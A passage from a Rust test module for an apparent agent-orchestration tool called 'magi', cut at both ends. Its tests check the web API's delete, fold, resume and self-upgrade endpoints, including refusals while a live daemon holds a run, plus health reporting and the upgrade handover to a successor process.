12979 "Task 3".to_owned(),
12980 "Instruction 3".to_owned(),
12981 PathBuf::from("/repo"),
12982 Source::Human,
12983 );
12984 t3.status = TaskStatus::Running;
12985 q.put(&mut t3).expect("put t3");
12986 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12987 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12988 assert_eq!(res.status, 204);
12989 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12990 assert!(
12991 q.claim(&t3.id).is_ok(),
12992 "the stale lock went with it, so the id is claimable again"
12993 );
12994
12995 let res = fx.delete("/api/queue/nonexistent").await;
12997 assert_eq!(res.status, 404);
12998 }
12999
13000 #[tokio::test]
13001 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13002 let fx = Fixture::start().await;
13003 let runs = fx.runs();
13004
13005 let run_id = "20260901-000000-fold";
13007 let mut state = RunState::new(
13008 PathBuf::from("/repo"),
13009 "main".to_owned(),
13010 "abc".to_owned(),
13011 "instruction".to_owned(),
13012 Config::default(),
13013 );
13014 state.id = run_id.to_owned();
13015 state.status = RunStatus::Merged;
13016 state.candidates.push(crate::run::Candidate {
13017 index: 0,
13018 label: 'A',
13019 agent: "a".to_owned(),
13020 branch: "b".to_owned(),
13021 worktree: PathBuf::from("/w"),
13022 summary: String::new(),
13023 stat: String::new(),
13024 files: 1,
13025 commits: 1,
13026 empty: false,
13027 failed: None,
13028 verified_noop: None,
13029 duration_ms: 0,
13030 folded: true,
13031 });
13032 let dir = runs.join(run_id);
13033 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13034 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13035 .expect("write artifact");
13036 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13037 .expect("write run.json");
13038
13039 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13041 assert_eq!(res.status, 204);
13042 assert!(res.body.is_empty(), "204 has no body");
13043 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13044
13045 let run_running = "20260901-000000-rung";
13050 write_run(&runs, run_running, RunStatus::Prep);
13051 let mut beat = crate::daemon::Status::new();
13052 beat.current = vec![crate::daemon::Current {
13053 task: "20260901-000000-task".to_owned(),
13054 run: run_running.to_owned(),
13055 }];
13056 beat.updated_at = jiff::Timestamp::now();
13057 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13058 .expect("publish a heartbeat");
13059 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13060 assert_eq!(res.status, 409);
13061 assert!(
13062 res.json()["error"]
13063 .as_str()
13064 .unwrap()
13065 .contains("live daemon"),
13066 "the refusal must say who is holding it"
13067 );
13068 assert!(
13069 runs.join(run_running).exists(),
13070 "a run in flight keeps its directory"
13071 );
13072
13073 let run_unfolded = "20260901-000000-unfd";
13075 let mut state2 = RunState::new(
13076 PathBuf::from("/repo"),
13077 "main".to_owned(),
13078 "abc".to_owned(),
13079 "instruction".to_owned(),
13080 Config::default(),
13081 );
13082 state2.id = run_unfolded.to_owned();
13083 state2.status = RunStatus::Ready;
13084 state2.candidates.push(crate::run::Candidate {
13085 index: 0,
13086 label: 'A',
13087 agent: "a".to_owned(),
13088 branch: "b".to_owned(),
13089 worktree: PathBuf::from("/w"),
13090 summary: String::new(),
13091 stat: String::new(),
13092 files: 1,
13093 commits: 1,
13094 empty: false,
13095 failed: None,
13096 verified_noop: None,
13097 duration_ms: 0,
13098 folded: false,
13099 });
13100 let dir2 = runs.join(run_unfolded);
13101 std::fs::create_dir_all(&dir2).expect("create dir2");
13102 std::fs::write(
13103 dir2.join("run.json"),
13104 serde_json::to_string(&state2).unwrap(),
13105 )
13106 .expect("write run.json");
13107
13108 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13109 assert_eq!(res.status, 409);
13110 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13111 assert!(dir2.exists(), "unfolded run directory is kept");
13112
13113 let res = fx.delete("/api/runs/nonexistent").await;
13115 assert_eq!(res.status, 404);
13116 }
13117
13118 #[test]
13127 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13128 let start = APP_JS
13129 .find("function renderStats() {")
13130 .expect("renderStats");
13131 let end = start
13132 + APP_JS[start..]
13133 .find("function statsTile(")
13134 .expect("the next top-level function");
13135 let body = &APP_JS[start..end];
13136
13137 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13138 let gate_end = gate_start
13139 + body[gate_start..]
13140 .find("}\n renderStatsQueue")
13141 .expect("the gate's own closing brace, right before the unconditional call");
13142 let gated = &body[gate_start..gate_end];
13143
13144 assert_eq!(
13145 body.matches("renderStatsQueue(").count(),
13146 1,
13147 "renderStats must call renderStatsQueue exactly once: {body}"
13148 );
13149 assert!(
13150 !gated.contains("renderStatsQueue"),
13151 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13152 run-derived panels on an empty run history - the queue panel has to render \
13153 regardless: {gated}"
13154 );
13155 }
13156
13157 #[test]
13158 fn web_ui_delete_contract_in_front_end() {
13159 assert!(APP_JS.contains("deleteRun:"));
13161 assert!(APP_JS.contains("deleteTask:"));
13162
13163 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13165 ..APP_JS.find("function renderRuns").unwrap()];
13166 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13167
13168 assert!(APP_JS.contains("renderRunDelete"));
13170 assert!(APP_JS.contains("runDeleteReason"));
13171 assert!(APP_JS.contains("magi fold"));
13172 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13173
13174 assert!(APP_JS.contains("cancel.focus"));
13176 assert!(APP_JS.contains("armedRunDelete"));
13177 assert!(APP_JS.contains("renderTaskDeleteBox"));
13178 assert!(APP_JS.contains("armed${cap(key)}"));
13179
13180 assert!(APP_JS.contains("disabled: status === \"running\""));
13182 }
13183
13184 #[test]
13204 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13205 let build = APP_JS
13206 .find("function createRunCard")
13207 .expect("createRunCard exists");
13208 let update = APP_JS
13209 .find("function updateRunCard")
13210 .expect("updateRunCard exists");
13211 let end = APP_JS
13212 .find("function renderRuns")
13213 .expect("renderRuns exists");
13214
13215 let builder = &APP_JS[build..update];
13217 let open = builder.find("refs = {").expect("createRunCard sets refs");
13218 let literal = &builder[open + "refs = {".len()..];
13219 let close = literal.find('}').expect("the refs literal is closed");
13220 let published: HashSet<&str> = literal[..close]
13221 .split(',')
13222 .filter_map(|entry| entry.split(':').next())
13224 .map(str::trim)
13225 .filter(|name| !name.is_empty())
13226 .collect();
13227 assert!(
13228 published.len() > 5,
13229 "the refs literal did not parse into names: {published:?}"
13230 );
13231
13232 let mut used: Vec<&str> = Vec::new();
13235 let updaters = &APP_JS[update..end];
13236 for (at, _) in updaters.match_indices("r.") {
13237 let before = updaters[..at].chars().next_back();
13240 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13241 continue;
13242 }
13243 let rest = &updaters[at + 2..];
13244 let len = rest
13245 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13246 .unwrap_or(rest.len());
13247 if len > 0 {
13248 used.push(&rest[..len]);
13249 }
13250 }
13251 assert!(
13252 used.len() > 5,
13253 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13254 );
13255
13256 let missing: Vec<&str> = used
13257 .iter()
13258 .copied()
13259 .filter(|name| !published.contains(name))
13260 .collect();
13261 assert!(
13262 missing.is_empty(),
13263 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13264 never put in `refs` - every card will throw and the list will \
13265 render empty under a count line that says otherwise. Published: \
13266 {published:?}"
13267 );
13268 }
13269
13270 #[tokio::test]
13271 async fn folding_from_the_phone_reports_what_it_removed() {
13272 let fx = Fixture::start().await;
13273 let runs = fx.runs();
13274
13275 let id = "20260901-000000-fold";
13279 write_run(&runs, id, RunStatus::Stalled);
13280 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13281 assert_eq!(res.status, 200);
13282 assert_eq!(res.json()["removed_count"], 0);
13283 assert_eq!(res.json()["run"], id);
13284 assert!(
13285 runs.join(id).exists(),
13286 "a fold keeps the run's record; only the worktrees go"
13287 );
13288 }
13289
13290 #[tokio::test]
13291 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13292 let fx = Fixture::start().await;
13293 let runs = fx.runs();
13294 let wt = fx.home.path().join("wt").join("magi").join("dead");
13295 let id = "20260901-000000-dead";
13296 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13297 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13298 std::fs::create_dir_all(&wt).expect("worktree dir");
13299
13300 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13301 assert_eq!(res.status, 200, "{}", res.body);
13302 assert!(
13303 res.json()["removed_count"].as_u64().unwrap() > 0,
13304 "the worktree this build could not read a state for still went"
13305 );
13306 assert!(
13307 !runs.join(id).exists(),
13308 "an unreadable run has no candidate list to fold selectively, so \
13309 the whole record goes - same as `magi fold` on the CLI"
13310 );
13311 }
13312
13313 #[tokio::test]
13314 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13315 let fx = Fixture::start().await;
13316 let runs = fx.runs();
13317 let wt = fx.home.path().join("wt").join("magi").join("gone");
13318 let id = "20260901-000000-gone";
13319 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13320 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13321 std::fs::create_dir_all(&wt).expect("worktree dir");
13322
13323 let res = fx.delete(&format!("/api/runs/{id}")).await;
13324 assert_eq!(res.status, 204, "{}", res.body);
13325 assert!(!runs.join(id).exists(), "the broken record is gone");
13326 assert!(!wt.exists(), "its worktree is gone too");
13327 }
13328
13329 #[tokio::test]
13330 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13331 let fx = Fixture::start().await;
13332 let runs = fx.runs();
13333 let id = "20260901-000000-live";
13334 write_run(&runs, id, RunStatus::Implementing);
13335
13336 let mut beat = crate::daemon::Status::new();
13337 beat.current = vec![crate::daemon::Current {
13338 task: "20260901-000000-task".to_owned(),
13339 run: id.to_owned(),
13340 }];
13341 beat.updated_at = jiff::Timestamp::now();
13342 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13343 .expect("publish a heartbeat");
13344
13345 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13346 assert_eq!(res.status, 409);
13347 assert!(
13348 res.json()["error"]
13349 .as_str()
13350 .unwrap()
13351 .contains("live daemon"),
13352 "folding under a running agent would pull its worktree away"
13353 );
13354 }
13355
13356 #[tokio::test]
13357 async fn fold_merged_requires_a_pr_url() {
13358 let fx = Fixture::start().await;
13359 let runs = fx.runs();
13360 let id = "20260901-000000-nourl";
13361 write_run(&runs, id, RunStatus::Blocked);
13362
13363 let res = fx
13364 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13365 .await;
13366 assert_eq!(res.status, 400, "{}", res.body);
13367
13368 let blank = fx
13369 .post(
13370 &format!("/api/runs/{id}/fold-merged"),
13371 Some(r#"{"pr_url":" "}"#),
13372 )
13373 .await;
13374 assert_eq!(blank.status, 400, "{}", blank.body);
13375 }
13376
13377 #[tokio::test]
13378 async fn fold_merged_is_404_for_an_unknown_run() {
13379 let fx = Fixture::start().await;
13380 let res = fx
13381 .post(
13382 "/api/runs/nosuchrun/fold-merged",
13383 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13384 )
13385 .await;
13386 assert_eq!(res.status, 404, "{}", res.body);
13387 }
13388
13389 #[tokio::test]
13390 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13391 let fx = Fixture::start().await;
13392 let runs = fx.runs();
13393 let id = "20260901-000000-livemerge";
13394 write_run(&runs, id, RunStatus::Blocked);
13395
13396 let mut beat = crate::daemon::Status::new();
13397 beat.current = vec![crate::daemon::Current {
13398 task: "20260901-000000-task".to_owned(),
13399 run: id.to_owned(),
13400 }];
13401 beat.updated_at = jiff::Timestamp::now();
13402 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13403 .expect("publish a heartbeat");
13404
13405 let res = fx
13406 .post(
13407 &format!("/api/runs/{id}/fold-merged"),
13408 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13409 )
13410 .await;
13411 assert_eq!(res.status, 409, "{}", res.body);
13412 assert!(
13413 res.json()["error"]
13414 .as_str()
13415 .unwrap()
13416 .contains("live daemon"),
13417 "correcting a run's merge underneath a running agent would race \
13418 whatever it is doing to the same `status`/`merge` fields"
13419 );
13420 }
13421
13422 #[tokio::test]
13427 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13428 let fx = Fixture::start().await;
13429 let runs = fx.runs();
13430 let id = "20260901-000000-unconfirmed";
13431 write_run(&runs, id, RunStatus::Blocked);
13432
13433 let res = fx
13434 .post(
13435 &format!("/api/runs/{id}/fold-merged"),
13436 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13437 )
13438 .await;
13439 assert_eq!(res.status, 400, "{}", res.body);
13440 assert_eq!(
13441 read_run(&runs, id).unwrap().status,
13442 RunStatus::Blocked,
13443 "a pull request that could not be confirmed merged must leave \
13444 the run exactly where it was"
13445 );
13446 }
13447
13448 #[tokio::test]
13449 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13450 let fx = Fixture::start().await;
13451 let runs = fx.runs();
13452
13453 for (status, word) in [
13459 (RunStatus::Merged, "merged"),
13460 (RunStatus::Ready, "ready"),
13461 (RunStatus::Failed, "failed"),
13462 ] {
13463 let id = format!("20260901-000000-{}", &word[..4]);
13464 write_run(&runs, &id, status);
13465 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13466 assert_eq!(res.status, 409, "{word} must not be resumable");
13467 let err = res.json()["error"].as_str().unwrap().to_owned();
13468 assert!(err.contains(word), "the refusal names the status: {err}");
13469 }
13470
13471 let mid = "20260901-000000-midf";
13476 write_run(&runs, mid, RunStatus::Reviewing);
13477 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13478 assert_eq!(res.status, 202, "an interrupted run is resumable");
13479 }
13480
13481 #[tokio::test]
13482 async fn resume_is_refused_while_the_loop_is_running() {
13483 let fx = Fixture::start().await;
13484 let runs = fx.runs();
13485 let stalled = "20260901-000000-stal";
13486 write_run(&runs, stalled, RunStatus::Stalled);
13487
13488 let mut beat = crate::daemon::Status::new();
13492 beat.current = vec![crate::daemon::Current {
13493 task: "20260901-000000-task".to_owned(),
13494 run: "20260901-000000-othr".to_owned(),
13495 }];
13496 beat.updated_at = jiff::Timestamp::now();
13497 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13498 .expect("publish a heartbeat");
13499
13500 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13501 assert_eq!(res.status, 409);
13502 let err = res.json()["error"].as_str().unwrap().to_owned();
13503 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13504 assert!(err.contains("stop it first"), "{err}");
13505 }
13506
13507 #[test]
13508 fn a_run_cannot_be_resumed_twice_at_once() {
13509 let home = TempDir::new().expect("temp home");
13510 let ui = Ui::new(
13511 Queue::at(home.path().join("queue")),
13512 Questions::at(home.path().join("questions")),
13513 Talks::at(home.path().join("talks")),
13514 home.path().join("runs"),
13515 home.path().to_path_buf(),
13516 PathBuf::from("/repo"),
13517 )
13518 .with_worktrees_root(home.path().join("wt"));
13519 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13520 let again = ui.begin_resume("20260901-000000-once");
13521 assert!(again.is_err(), "a second tap must not start a second graph");
13522 drop(first);
13523 assert!(
13524 ui.begin_resume("20260901-000000-once").is_ok(),
13525 "and the claim is released when the attempt ends"
13526 );
13527 }
13528
13529 #[test]
13530 fn talk_thinking_tracks_only_its_held_turn_claim() {
13531 let home = TempDir::new().expect("temp home");
13532 let ui = Ui::new(
13533 Queue::at(home.path().join("queue")),
13534 Questions::at(home.path().join("questions")),
13535 Talks::at(home.path().join("talks")),
13536 home.path().join("runs"),
13537 home.path().to_path_buf(),
13538 PathBuf::from("/repo"),
13539 )
13540 .with_worktrees_root(home.path().join("wt"));
13541 let id = "20260901-000000-once";
13542
13543 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13544 let turn = ui.begin_talk_turn(id).expect("claim turn");
13545 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13546 assert!(
13547 !ui.is_thinking("20260901-000000-other"),
13548 "one talk's turn does not make another talk busy"
13549 );
13550 drop(turn);
13551 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13552 }
13553
13554 #[tokio::test]
13555 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13556 let fx = Fixture::start().await;
13557 let mut beat = crate::daemon::Status::new();
13561 beat.pid = 4321;
13562 beat.updated_at = jiff::Timestamp::now();
13563 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13564 .expect("publish a heartbeat");
13565
13566 let res = fx.post("/api/upgrade", None).await;
13567 assert_eq!(res.status, 409);
13568 let err = res.json()["error"].as_str().unwrap().to_owned();
13569 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13570 assert!(err.contains("old one against the same queue"), "{err}");
13571 }
13572
13573 #[test]
13580 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13581 assert!(!should_spawn_recheck(&crate::config::Update {
13582 mode: UpdateMode::Off,
13583 interval: None,
13584 }));
13585
13586 unsafe {
13589 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13590 }
13591 let killed = should_spawn_recheck(&crate::config::Update {
13592 mode: UpdateMode::Notify,
13593 interval: None,
13594 });
13595 unsafe {
13596 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13597 }
13598 assert!(
13599 !killed,
13600 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13601 one-time startup check"
13602 );
13603
13604 assert!(should_spawn_recheck(&crate::config::Update {
13605 mode: UpdateMode::Notify,
13606 interval: None,
13607 }));
13608 }
13609
13610 #[test]
13616 fn recheck_poll_period_tracks_a_short_configured_interval() {
13617 let short = crate::config::Update {
13618 mode: UpdateMode::Notify,
13619 interval: Some("1m".to_owned()),
13620 };
13621 let period = recheck_poll_period(&short);
13622 assert!(
13623 period <= Duration::from_secs(30),
13624 "a one-minute interval must wake the task far sooner than the \
13625 default ceiling, or the deck would not notice within the \
13626 interval the operator configured: got {period:?}"
13627 );
13628
13629 let default = crate::config::Update {
13630 mode: UpdateMode::Notify,
13631 interval: None,
13632 };
13633 assert_eq!(
13634 recheck_poll_period(&default),
13635 UPDATE_RECHECK_POLL_MAX,
13636 "the default day-long interval should poll at the (capped) \
13637 ceiling rather than needlessly often"
13638 );
13639 }
13640
13641 #[test]
13649 fn recheck_skips_the_network_before_the_interval_elapses() {
13650 let dir = TempDir::new().expect("temp dir");
13651 let path = dir.path().join("state.json");
13652 let state = kaishin::UpdateCheckState {
13653 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13654 last_known_latest: None,
13655 last_known_url: None,
13656 };
13657 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13658
13659 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13660 assert!(
13661 !update_recheck_due(&checker, None),
13662 "a check made moments ago must not be repeated before the \
13663 configured interval elapses"
13664 );
13665 }
13666
13667 #[test]
13673 fn recheck_defers_to_an_upgrade_already_in_flight() {
13674 let dir = TempDir::new().expect("temp dir");
13675 let path = dir.path().join("state.json");
13676 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13677 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13678
13679 assert!(
13680 !update_recheck_due(&checker, Some(&progress)),
13681 "a recheck must not run while an upgrade this deck started is \
13682 still moving"
13683 );
13684 }
13685
13686 #[tokio::test]
13687 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13688 unsafe {
13700 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13701 }
13702 let fx = Fixture::start().await;
13703 let res = fx.post("/api/upgrade", None).await;
13704 unsafe {
13705 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13706 }
13707 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13708 let body = res.json();
13709 assert!(body["to"].is_null(), "there was no release to move to");
13710 assert!(body["parked"].is_null(), "and nothing was parked");
13711 assert!(
13712 body["detail"]
13713 .as_str()
13714 .unwrap()
13715 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13716 "{body:?}"
13717 );
13718 }
13719
13720 #[tokio::test]
13721 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13722 let repo = TempDir::new().expect("repo dir");
13738 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13739 .expect("write magi.toml");
13740 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13741
13742 let res = fx.post("/api/upgrade", None).await;
13748 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13749 let body = res.json();
13750 assert!(body["to"].is_null(), "there was no release to move to");
13751 assert!(body["parked"].is_null(), "and nothing was parked");
13752 assert!(
13753 body["detail"]
13754 .as_str()
13755 .unwrap()
13756 .contains("nothing restarted"),
13757 "{body:?}"
13758 );
13759 }
13760
13761 #[tokio::test]
13762 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13763 let repo = TempDir::new().expect("repo dir");
13768 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13769 .expect("write magi.toml");
13770 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13771
13772 let health = fx.get("/api/health").await.json();
13773 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13774 assert_eq!(
13775 health["update"]["available"], false,
13776 "checking is off, which reads as \"unknown\", not \"none\""
13777 );
13778 assert!(health["update"]["to"].is_null());
13779 assert!(
13780 health["upgrade"].is_null(),
13781 "nothing has ever asked this deck to upgrade"
13782 );
13783 }
13784
13785 #[tokio::test]
13786 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13787 let fx = Fixture::start().await;
13788 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13789
13790 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13791 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13792 progress.advance(crate::updater::Stage::Parking);
13793 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13794
13795 let health = fx.get("/api/health").await.json();
13796 assert_eq!(health["upgrade"]["stage"], "parking");
13797 assert_eq!(health["upgrade"]["from"], "0.5.1");
13798 assert_eq!(health["upgrade"]["to"], "0.5.2");
13799 let waiting_on = health["upgrade"]["waiting_on"]
13800 .as_str()
13801 .expect("waiting_on is set while parking a known run");
13802 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13803 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13804 }
13805
13806 #[tokio::test]
13807 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13808 let fx = Fixture::start().await;
13809 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13810 progress.advance(crate::updater::Stage::Done);
13811 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13812
13813 let health = fx.get("/api/health").await.json();
13814 assert_eq!(health["upgrade"]["stage"], "done");
13815 assert!(
13816 health["upgrade"]["waiting_on"].is_null(),
13817 "nothing to wait on once it is done"
13818 );
13819 }
13820
13821 #[tokio::test]
13822 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13823 let home = TempDir::new().expect("temp home");
13824 let runs = home.path().join("runs");
13825 std::fs::create_dir_all(&runs).expect("runs dir");
13826 let ui = Ui::new(
13827 Queue::at(home.path().join("queue")),
13828 Questions::at(home.path().join("questions")),
13829 Talks::at(home.path().join("talks")),
13830 runs,
13831 home.path().to_path_buf(),
13832 PathBuf::from("/repo/magi"),
13833 )
13834 .with_launch(launch_idle);
13835 let looping = ui.looping();
13836 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13837 .await
13838 .expect("bind loopback");
13839 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13840
13841 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13842 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13843
13844 hand_over(home.path(), &looping, served, |_| Ok(1))
13845 .await
13846 .expect("hand over");
13847
13848 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13849 assert_eq!(
13850 after.stage,
13851 crate::updater::Stage::Restarting,
13852 "hand_over owns the record through parking and up to restarting; \
13853 the successor is what finishes it"
13854 );
13855 }
13856
13857 #[tokio::test]
13860 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13861 for fail in [false, true] {
13862 let home = TempDir::new().expect("temp home");
13863 let ui = idle_ui(&home);
13864 let looping = ui.looping();
13865 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13866 .await
13867 .expect("bind loopback");
13868 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13869 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13870 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13871
13872 let calls = std::sync::atomic::AtomicUsize::new(0);
13873 let outcome = hand_over(home.path(), &looping, served, |_| {
13874 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13875 if fail {
13876 anyhow::bail!("no exec")
13877 } else {
13878 Ok(4242)
13879 }
13880 })
13881 .await;
13882 assert_eq!(outcome.is_err(), fail);
13883 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13884
13885 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13886 .expect("upgrade.log is written under the home");
13887 for step in [
13888 "entered",
13889 "finish_loop",
13890 "listener released",
13891 "starting the successor",
13892 ] {
13893 assert!(log.contains(step), "missing `{step}` in:\n{log}");
13894 }
13895 assert!(
13896 log.contains(if fail { "did not start" } else { "pid 4242" }),
13897 "{log}"
13898 );
13899 }
13900 }
13901
13902 #[tokio::test]
13905 async fn the_handover_signal_wakes_one_waiter_once() {
13906 let signal = Notify::new();
13907 signal.notify_one();
13909 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13910 .await
13911 .expect("an early signal is still seen");
13912 assert!(
13914 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13915 .await
13916 .is_err(),
13917 "a consumed signal must not wake a second time"
13918 );
13919 let signal = std::sync::Arc::new(signal);
13921 let waiter = tokio::spawn({
13922 let signal = std::sync::Arc::clone(&signal);
13923 async move { wait_for_handover(&signal).await }
13924 });
13925 tokio::time::sleep(Duration::from_millis(20)).await;
13926 assert!(!waiter.is_finished(), "nothing was signalled yet");
13927 signal.notify_one();
13928 tokio::time::timeout(Duration::from_secs(5), waiter)
13929 .await
13930 .expect("a late signal wakes the waiter")
13931 .expect("join");
13932 }
13933
13934 #[tokio::test]
13935 async fn health_says_how_long_a_handover_has_been_stuck() {
13936 let fx = Fixture::start().await;
13937 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13938 progress.advance(crate::updater::Stage::Replaced);
13939 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
13940 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13941
13942 let health = fx.get("/api/health").await.json();
13943 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
13944 assert!(stuck >= 600, "{stuck}");
13945 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
13946 }
13947
13948 fn idle_ui(home: &TempDir) -> Ui {
13949 let runs = home.path().join("runs");
13950 std::fs::create_dir_all(&runs).expect("runs dir");
13951 Ui::new(
13952 Queue::at(home.path().join("queue")),
13953 Questions::at(home.path().join("questions")),
13954 Talks::at(home.path().join("talks")),
13955 runs,
13956 home.path().to_path_buf(),
13957 PathBuf::from("/repo/magi"),
13958 )
13959 .with_launch(launch_idle)
13960 }
13961
13962 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
13964 let looping = ui.looping();
13965 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13966 .await
13967 .expect("bind loopback");
13968 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13969 let told = std::sync::Mutex::new(None);
13970 hand_over(home.path(), &looping, served, |resume| {
13971 *told.lock().unwrap() = Some(resume);
13972 Ok(1)
13973 })
13974 .await
13975 .expect("hand over");
13976 told.into_inner().unwrap().expect("successor was started")
13977 }
13978
13979 #[tokio::test]
13980 async fn a_running_loop_is_resumed_by_the_successor() {
13981 let home = TempDir::new().expect("temp home");
13982 let ui = idle_ui(&home);
13983 ui.start_loop(None).expect("start");
13984 ui.park_for_upgrade().expect("park");
13985 for _ in 0..500 {
13987 if !ui.loop_view(None).running {
13988 break;
13989 }
13990 tokio::time::sleep(Duration::from_millis(2)).await;
13991 }
13992 assert!(handed_over(&home, ui).await, "a running loop must resume");
13993
13994 let successor = idle_ui(&home);
13995 assert!(!successor.loop_view(None).running);
13996 assert!(successor.resume_after_handover(true));
13997 assert!(successor.loop_view(None).running);
13998 successor.stop_loop(None, false).expect("stop");
13999 }
14000
14001 #[tokio::test]
14002 async fn a_second_upgrade_request_keeps_the_resume_intent() {
14003 let home = TempDir::new().expect("temp home");
14004 let ui = idle_ui(&home);
14005 ui.start_loop(None).expect("start");
